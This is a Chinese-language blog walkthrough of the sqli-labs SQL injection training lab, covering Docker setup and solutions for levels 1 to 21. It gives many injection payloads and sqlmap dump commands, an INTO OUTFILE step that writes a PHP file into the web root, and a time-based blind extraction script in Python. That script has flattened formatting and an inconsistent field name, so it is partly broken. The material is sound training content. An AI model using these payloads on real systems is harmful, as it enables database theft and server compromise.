sqli-labs靶场安装以及刷题记录-docker
- sqli-labs靶场安装-docker
- sqli-labs靶场刷题
- less-1 单引号
- less-2 数字型
- less-3 单引号+括号
- less-4 双引号+括号
- less-5 单引号+布尔盲注
- less-6 双引号+布尔盲注
- less-7 单引号加括号、输出到文件
- less-8 单引号+布尔盲注
- less-9 单引号+时间盲注
- less-10 双引号+时间盲注
- Less-11 POST方法+单引号
- Less-12 POST方法+双引号和括号
- Less-13 POST方法+单引号和括号+布尔盲注
- Less-14 POST方法+双引号+布尔盲注
- Less-15 POST方法+时间盲注
- Less-16 POST方法+时间盲注+双引号和括号
- Less-17 报错注入
- Less-18 UA注入+报错注入
- Less-19 Referer注入
- Less-20 Cookie注入
- Less-21 Cookie注入+base64编码
sqli-labs靶场安装-docker
-
拉取xss-labs靶场
docker pull c0ny1/sqli-labs:0.1
-
启动xss-labs靶场
docker run --name sqlilabs -d -p 8081:80 c0ny1/sqli-labs:0.1
-
访问
ip:8081
4. 首次开启靶场先点击Setup/reset Database for labs
创建数据
sqli-labs靶场刷题
less-1 单引号
要求输入ID参数,在URL后面拼接
?id=1
尝试闭合语句,构造
?id=1' //有报错
?id=1" //正常回显
推断参数是被单引号包围的
?id=1' #//错误回显
?id=1' -- //错误回显
?id=1' --+//正常回显
判断返回数据数
?id=1' order by 4 --+ //在输入4时报错,所以返回数据数为3。Unknown column '4' in 'order clause'
判断回显位
?id=1' union select 1,2,3 --+//显示的id=1的查询结果
?id=1' union select 1,2,3 limit 1,1--+
查数据库名
?id=1' union select 1,database(),version() limit 1,1--+//security,5.5.47-0ubuntu0.14.04.1
?id=1' union select 1,group_concat(schema_name) from information_schema.schemata,1 limit 1,1--+//报错,login name返回值设置了限制?
?id=1' union select 1,1,group_concat(schema_name) from information_schema.schemata limit 1,1--+
查表名
?id=1' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 1,1--+
查列名
?id=1' union select 1,1,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='X8H7POW1CY' limit 1,1--+
查数据
?id=1' union select 1,1,group_concat(secret_1A0H) from challenges.X8H7POW1CY limit 1,1--+
less-2 数字型
?id=1//正常回显
?id=1 and 1=2//无回显,数字型注入
?id=1 and 1=2 --+//无回显
?id=1 and 1=1 --+//正常回显
payload
?id=1 union select 1,2,3 limit 1,1--+
sqlmap跑一下
python sqlmap.py -u "http://ip:8081/Less-2/?id=1"
python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dbs --batch
python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --tables -D challenges --batch
python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --columns -T BTLPG8W39R -D challenges --batch
python sqlmap.py -u "http://ip:8081/Less-2/?id=1" --dump -T BTLPG8W39R -D challenges --batch
less-3 单引号+括号
?id=1
?id=1'//有报错
观察报错信息构造
?id=1') --+//正常回显id=1的查询数据
?id=1') union select 1,2,3 limit 1,1--+ //payload
可以使用less-1的方式手动查询或者sqlmap
less-4 双引号+括号
?id=1'//正常回显id=1的查询数据
?id=1"//有报错
观察报错,入参是被双引号加括号包围的,构造
?id=1") union select 1,2,3 limit 1,1 --+ //payload
less-5 单引号+布尔盲注
?id=1'//有报错
观察报错,入参是被单引号包围的
?id=1' --+//正常回显id=1的查询页面you are in........
查数据,页面没有明确的回显,只能逐个字符去查询然后判断结果是否正确(页面是否回显you are in…)
?id=1'--+//正常回显id=1的查询页面you are in........
?id=1' order by 3--+//you are in........
//这里已经没有必要去查回显位数了
参考WP
查数据库数量
?id=1' and (select count(*) from information_schema.schemata) = 5 --+
查每个数据库名称
?id=1' and (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' --+
?id=1' and (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' --+
?id=1' and (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' --+
?id=1' and (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' --+
?id=1' and (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' --+
?id=1' and (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' --+
?id=1' and (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' --+
?id=1' and (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' --+
第二个(limit 1,1 代表从第二个数据查后面一个)数据库名称:challenges
以此类推
还有一种方法,不过只能查当前数据库名称
?id=1' and left(database(),1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
?id=1' and substr(database(),3,1)='c'--+
?id=1' and substr(database(),4,1)='u'--+
?id=1' and substr(database(),5,1)='r'--+
?id=1' and substr(database(),6,1)='i'--+
?id=1' and substr(database(),7,1)='t'--+
?id=1' and substr(database(),8,1)='y'--+
//security
之后查表名、列名等
less-6 双引号+布尔盲注
?id=1' // you are in......
?id=1"// 报错
观察报错,入参被双引号包围,构造
?id=1" --+//you are in......
接下来的操作和less-5一样
less-7 单引号加括号、输出到文件
?id=1"//未报错
?id=1'//报错
说明是单引号闭合,看不到具体的报错,WP上加了两个括号(只能猜啦
?id=1'))
导出数据到网站根目录(路径可以扫描,参考传送门
?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+
?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"--+
有报错,尝试了其他的语句还是有报错,去Docker中看了下源文件,发现已经成功写入users.txt, info.php
了,蚁剑可以成功连接
less-8 单引号+布尔盲注
?id=1'//空回显
单引号应该是把入参语句给闭合了所以会报错,对本题而言没有正常回显就是报错,使用盲注的方法来判断
?id=1' --+//正常回显you are in......
接下来查询操作同Less-5一样(甚至payload都一样
less-9 单引号+时间盲注
尝试了单引号以及加括号等都是you are in......
正常回显,借助sleep
延时函数来判断,观察标签页左上角转的时长
?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5) --+//只有这个sleep,刷新的较久
?id=1" and sleep(5) --+
在if
语句中使用sleep
,查询数据库数量
?id=1' and if((select count(*) from information_schema.schemata)=5 ,sleep(5),1) --+
先判断每个数据库名字的长度
?id=1' and if((select length(schema_name) from information_schema.schemata limit 0,1) = 18 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 1,1) = 10 ,sleep(5),1) --+
?id=1' and if((select length(schema_name) from information_schema.schemata limit 2,1) = 5 ,sleep(5),1) --+
......
查各个数据库名字
?id=1' and if( (select substring(schema_name, 1,1) from information_schema.schemata limit 1,1) = 'c' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 2,1) from information_schema.schemata limit 1,1) = 'h' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 3,1) from information_schema.schemata limit 1,1) = 'a' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 4,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 5,1) from information_schema.schemata limit 1,1) = 'l' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 6,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 7,1) from information_schema.schemata limit 1,1) = 'n' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 8,1) from information_schema.schemata limit 1,1) = 'g' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 9,1) from information_schema.schemata limit 1,1) = 'e' ,sleep(5),1) --+
?id=1' and if( (select substring(schema_name, 10,1) from information_schema.schemata limit 1,1) = 's' ,sleep(5),1) --+
这题在sqlmap上跑的还挺快
less-10 双引号+时间盲注
还是时间盲注
?id=1' and sleep(5)
?id=1" and sleep(5)
?id=1' and sleep(5) --+
?id=1" and sleep(5) --+//只有这个sleep,刷新的较久
接下来的操作同Less-9
Less-11 POST方法+单引号
随便输一组账号和密码,有回显
输入Username为admin'
有报错回显,可以利用,在BP上抓包修改提交值
修改uname为admin'--+
登陆成功
uname=admin'--+&passwd=123&submit=Submit//登陆成功
开始查回显位数
uname=admin' order by 2--+&passwd=123&submit=Submituname=admin' union select 1,2 limit 1,1 --+&passwd=123&submit=Submit//payload
union联合查询数据库
uname=admin' union select 1,group_concat(schema_name) from information_schema.schemata limit 1,1--+&passwd=123&submit=Submit
接下来同之前的联合查询一样。
学一下Sqlmap怎么跑POST数据中的注入,将抓到的登录包保存到本地命名为login_POST
python sqlmap.py -r D:\bp\login_POST --batch
python sqlmap.py -r D:\bp\login_POST --dbs --batch
python sqlmap.py -r D:\bp\login_POST --tables -D challenges --batch
python sqlmap.py -r D:\bp\login_POST --dump -T BTLPG8W39R -D challenges --batch
Less-12 POST方法+双引号和括号
随便输账号密码同Less-11一样会报LOGIN ATTEMPT FAILED
,去抓包改下看看
uname=admin'&passwd=123&submit=Submit//正常回显
uname=admin"&passwd=123&submit=Submit//报错了,通过报错信息知道入参是被双引号和括号包围的
可以构造payload了,同样可以联合查询,查询操作同Less-11
uname=admin") --+&passwd=123&submit=Submit
Less-13 POST方法+单引号和括号+布尔盲注
输入username
为amdin'
有报错
uname=admin'&passwd=123&submit=Submit
uname=admin') --+ &passwd=123&submit=Submit //闭合语句
登陆成功没有回显位了,只有一个成功的界面
盲注,同Less-5一样的操作,先查数据库数量
uname=admin') and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit
之后操作参考Less-5,sqlmap同样能跑成功
Less-14 POST方法+双引号+布尔盲注
输入username
为amdin"
有报错
uname=admin" &passwd=123&submit=Submit
uname=admin" --+ &passwd=123&submit=Submit //闭合语句,也是没有回显数据,只有登陆成功的界面
同上一关一样的操作,先查数据库数量
uname=admin" and (select count(*) from information_schema.schemata) = 5 --+ &passwd=123&submit=Submit
之后操作参考Less-5,sqlmap同样能跑成功
Less-15 POST方法+时间盲注
admin'
admin"
admin' --+
admin" --+
都是登陆失败的界面,没有任何报错信息,试试时间盲注,也是同样的界面以及回显
admin' and sleep(5) --+
admin" and sleep(5) --+
admin') and sleep(5) --+
admin") and sleep(5) --+
sqlmap跑出来了时间盲注,应该是姿势不对,又尝试了几次
admin' and sleep(5) #//这个有明显的时延,看了源码好像没有写屏蔽,注释符这里不太明白为什么--+ 不行
admin' and sleep(5) -- //--加空格也可以
-
--
注释符在 MySQL 中需要后面跟一个空格才会生效,所以把--+
改为--
后,它成功注释掉了后面的 SQL 代码,从而使 SQL 注入得以绕过。--
注释符的规范要求后面必须有空格才能被解析为注释。#
不需要空格,因此在某些情况下使用它更方便。
查数据库数量
admin' and if((select count(*) from information_schema.schemata) = 5,sleep(5),1) # &passwd=123&submit=Submit
查数据库名字,用脚本做一下
import requests
import time# 靶场的目标URL
url = "http://ip:8081/Less-15/" # 替换为你的目标URL
payload_list = ["admin'", ""]
# 假设最大数据库数量为10,可以根据需要调整
max_db_num = 10# 假设名称长度不会超过20
max_db_name_len = 18+1# 延时时长
delay_time = 6# POST 请求的基本数据(替换为具体的参数)
data = {"uname": "", # SQL注入点位置"passwd": "123", # 密码字段"submit": "Submit"
}# headers 信息,如果需要,可以设置
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"
}#执行多次请求并取平均值或中位数,以减少误差。
def measure_response_time(url, data, headers, repetitions=3):times = []for _ in range(repetitions):start_time = time.perf_counter()response = requests.post(url, data=data, headers=headers)response_time = time.perf_counter() - start_timetimes.append(response_time)# 返回中位数或者平均值,减少单次延迟造成的误差return sum(times) / len(times) # 也可以使用 statistics.median(times)# 定义一个函数来测试数据库数量
def test_db_count():for i in range(1, max_db_num):# 构造SQL注入语句payload = f"{payload_list[0]} and if((select count(*) from information_schema.schemata) = {i},sleep({delay_time}),1) #"data['uname'] = payload# 记录请求的开始时间start_time = time.time()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.time() - start_time# print(response_time)# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的数据库数量正确if response_time >= delay_time:print(f"Database count found: {i}")return ielse:print(f"Tested {i}, no delay.")def test_db_name_length(db_index):for length in range(1, max_db_name_len):# 构造SQL注入语句,获取第 db_index 个数据库的名称长度payload = f"{payload_list[0]} and if((select length(schema_name) from information_schema.schemata limit {db_index},1) = {length},sleep({delay_time}),1) #"data['username'] = payload# print(payload)# response_time = measure_response_time(url, data=data, headers=headers)# print(response_time)# 记录请求的开始时间start_time = time.perf_counter()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.perf_counter() - start_time# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的长度正确if response_time >= delay_time:print(f"Database {db_index + 1} name length found: {length}")return lengthelse:print(f"Tested length {length} for database {db_index + 1}, no delay.")def test_db_name(db_index, name_length):db_name = ""for i in range(1, name_length + 1): # 根据长度逐字符猜测for char in range(32, 127): # ASCII 范围从 32 到 126(可见字符)# 构造SQL注入语句,获取 db_index 对应的数据库名的第 i 个字符payload = f"{payload_list[0]} and if(ascii(substr((select schema_name from information_schema.schemata limit {db_index},1),{i},1)) = {char},sleep({delay_time}),1) #"data['username'] = payload# print(payload)# 记录请求的开始时间start_time = time.time()# 发送POST请求response = requests.post(url, data=data, headers=headers)# 计算请求的响应时间response_time = time.time() - start_time# 如果响应时间大于 delay_time 秒,说明 sleep(delay_time) 被触发,表示猜测的字符正确if response_time >= delay_time:db_name += chr(char)print(f"Found character {chr(char)} at position {i} for database {db_index + 1}")breakprint(f"Database {db_index + 1} name: {db_name}")return db_nameif __name__ == "__main__":print("testing num of database")db_num = test_db_count()print("testing length of each database")db_lengths = []for db_index in range(db_num):length_tmp = test_db_name_length(db_index)db_lengths.append(length_tmp)print("testing name of each database")for db_index, name_length in enumerate(db_lengths):db_name = test_db_name(db_index, name_length)
Less-16 POST方法+时间盲注+双引号和括号
admin") and sleep(3)#
操作同Less-15
Less-17 报错注入
随便输一组数据
输入admin用户
感觉是POST方法和布尔盲注,没测出来,看看WP,注入点在密码框passwd
,且有报错回显
延时和报错注入好像都可以
查数据库数量
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),1) #&submit=Submit
查数据库名
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) #&submit=Submit
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1) #&submit=Submit
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) #&submit=Submit
.......
查每个数据库中的表名
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' limit 0,1)),1) #&submit=Submit
查每个列名
uname=admin&passwd=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='BTLPG8W39R' limit 0,1)),1) #&submit=Submit
Less-18 UA注入+报错注入
这关也是看了WP,通过观察源码发现可以UA报错注入
可利用的SQL语句是
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
这时我们就不能像常规的报错盲注一样直接上,我们得考虑一下闭合
VALUES
,假如我们利用的点是$uagent
,那构建格式就应该是1',1,1)#
,在SQL语句中相当于
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1',1,1)#, '$IP', $uname)
这样就闭合了
VALUES
,所以我们在uagent
上正确的payload应该是
1',1,updatexml(1,concat(0x5e,database()),1))#
Less-19 Referer注入
需要有一组账号密码成功登录会回显Referer(有些密码在Less-17被修改了)
源码中 HTTP_REFERER
字段被拼接到数据库语句中,在BurpSuite中抓包这条记录,发送到Repeater
,尝试在Referer
字段进行注入
Referer: 1' and order by 4
Referer: 1',1) #//闭合语句
因为有报错回显,无回显数据内容,所以用报错盲注。
查数据库
Referer: 1' and updatexml(1,concat(0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a),1),1)#//显示不完整
Referer: 1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x3a),1),1)#//使用substr函数来获取剩余的内容
同理查表、列以及数据
Less-20 Cookie注入
登陆成功会有以下信息
看了源码 这关换成Cookie注入了,测试一下
Cookie: uname=admin'//有报错
Cookie: uname=admin'#//闭合了
有报错回显,可以使用联合查询
Cookie: uname=admin' order by 3#
Cookie: uname=admin' union select 1,1,databse() limit 1,1#
Less-21 Cookie注入+base64编码
这关也是先登录,会有Cookie,但是和上关不同的是Cookie做了Base64编码
测试payload
uname=admin')#//闭合语句,编码后的等号用%3D来替代
uname=YWRtaW4nKSM%3D
uname=admin') union select 1,1,database() limit 1,1 #
uname=YWRtaW4nKSB1bmlvbiBzZWxlY3QgMSwxLGRhdGFiYXNlKCkgbGltaXQgMSwxICM%3D